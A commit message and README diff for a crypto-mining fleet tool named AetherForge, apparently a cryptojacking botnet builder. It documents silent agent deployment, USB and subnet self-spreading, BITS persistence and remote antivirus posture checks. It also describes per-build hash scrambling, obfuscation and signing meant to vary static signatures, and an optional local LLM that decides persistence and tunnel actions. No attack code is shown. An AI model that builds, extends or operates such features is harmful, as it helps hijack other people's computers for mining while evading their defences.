feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

README.md

@@ -10,7 +10,7 @@ No pool hopping through third-party dashboards. No per-rig SSH babysitting. You
 
 ```
   ┌─────────────────────────────────────────────────────────────────────┐
-  │  CALIBRATE (Settings)   pool · wallet · users · alerts              │
+  │  CALIBRATE (Settings)   pool · wallet · users · Telegram alerts     │
   │           │                                                         │
   │           ▼                                                         │
   │  FORGE (Builder)        XMR worker · RVN GPU worker · Fusion        │
@@ -149,6 +149,45 @@ Enable **USB Propagation** in the Forge. The baked binary:
 - Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
 - Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)
 
+### Telegram & fleet notifications (Calibrate)
+
+Configure once under **Calibrate → Alert Notifications**:
+
+| Field | What to enter |
+|-------|----------------|
+| **Telegram Bot Token** | From [@BotFather](https://t.me/BotFather) |
+| **Telegram Chat ID** | Your numeric user ID (from [@userinfobot](https://t.me/userinfobot)) — **not** the bot’s ID |
+| **Notify me when…** | Per-event checkboxes (all on by default) |
+
+**Events that can ping Telegram** (and optional SMTP email):
+
+| Event | When it fires |
+|-------|----------------|
+| New agent connects | First time a worker joins the fleet |
+| Agent reconnects | Back online or replaces an active session |
+| Agent offline | Past **Offline After (minutes)** threshold |
+| Hashrate drop | Below **Hashrate Drop %** vs baseline |
+| Rejection spike | Bad shares above **Rejection Rate %** |
+| Forge complete | Any successful build (exe, spread kit, fusion ZIP) |
+
+Use **Send test notification** after **Save Calibration** to verify delivery. Thresholds live in **Fleet Alerts** on the same page.
+
+> **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored).
+
+### Forge hardening & dispense UX
+
+- **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior
+- **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation
+- **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download
+
+### Fleet ops (recent)
+
+- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports) from Fleet Roster or Crucible
+- **Desktop push** — deploy files to `@desktop/` on workers
+- **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
+- **Path Tracer** — multi-hop WireGuard path builder (dashboard page)
+- **Haptic sound** + **glow particles** — optional UI feedback (Settings)
+
 ---
 
 ## Quick Start
@@ -162,7 +201,7 @@ Enable **USB Propagation** in the Forge. The baked binary:
 
 3. **Sign in** — first run: check the console window for your generated admin password
 
-4. **Calibrate** → set your Monero wallet + pool + public URL for remote workers
+4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings
 
 5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**
 
@@ -204,6 +243,8 @@ Run **`pack-usb.bat`** from the project root. It:
 
 Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
 
+> **After any code change**, run `npm run build` in `server/web/`, then `pack-usb.bat` to sync the portable bundle. The USB bundle is **not** updated automatically — it only reflects what was current the last time `pack-usb.bat` ran.
+
 > **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
 
 ---
@@ -302,6 +343,7 @@ crypto miner/
 | POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
 | POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
 | GET | `/api/v1/alerts` | Active fleet alerts |
+| POST | `/api/v1/alerts/test` | Test Telegram / SMTP (no real alert raised) |
 | GET | `/api/v1/pools/status` | Stratum pool connection states |
 | GET | `/api/v1/earnings/estimate` | XMR/day estimate |
 | GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
@@ -404,6 +446,8 @@ Vite proxies `/api` and `/ws` to `localhost:8989`.
 - **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
 - **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
 - **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
+- **Sigil scramble** — post-forge uniquification of each dispensed binary
+- **Telegram notifier** — configurable per-event pushes from agent connect, health thresholds, and forge complete
 - **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
 - **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
 - **Retention jobs** — auto-purge old hashrate samples and stale build artifacts